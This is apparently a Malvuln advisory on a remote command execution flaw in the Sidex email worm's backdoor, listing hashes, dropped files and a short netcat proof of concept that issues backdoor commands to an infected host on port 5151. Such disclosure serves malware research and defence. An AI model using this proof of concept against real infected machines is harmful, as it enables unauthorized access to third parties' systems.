Email-Worm.Win32.Sidex malware suffers from a remote command execution vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/a98cdaa89da57bf269873db63e22a939.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Email-Worm.Win32.Sidex
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5151 and creates a dir named "vortex" with several PE files. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.
Family: Sidex
Type: PE32
MD5: a98cdaa89da57bf269873db63e22a939
Vuln ID: MVID-2022-0564
Dropped files:
107,520 373B2264.EXE
79,661 71483A49-00135168.EXE
4,096 72D90FF9.EXE
512 89C556A1.IMG
10,426 977E01C2.VBS
12,313 A54746DF.VBS
80,384 E09DF44A-00080384.EXE ==> server.exe
Disclosure: 04/26/2022
Exploit/PoC:
C:>nc64.exe x.x.x.x 5151
GetVicName;
GetVicName;Optix+Lite
GetSysDir;
TheSysDir;
;C:WINDOWSsystem32
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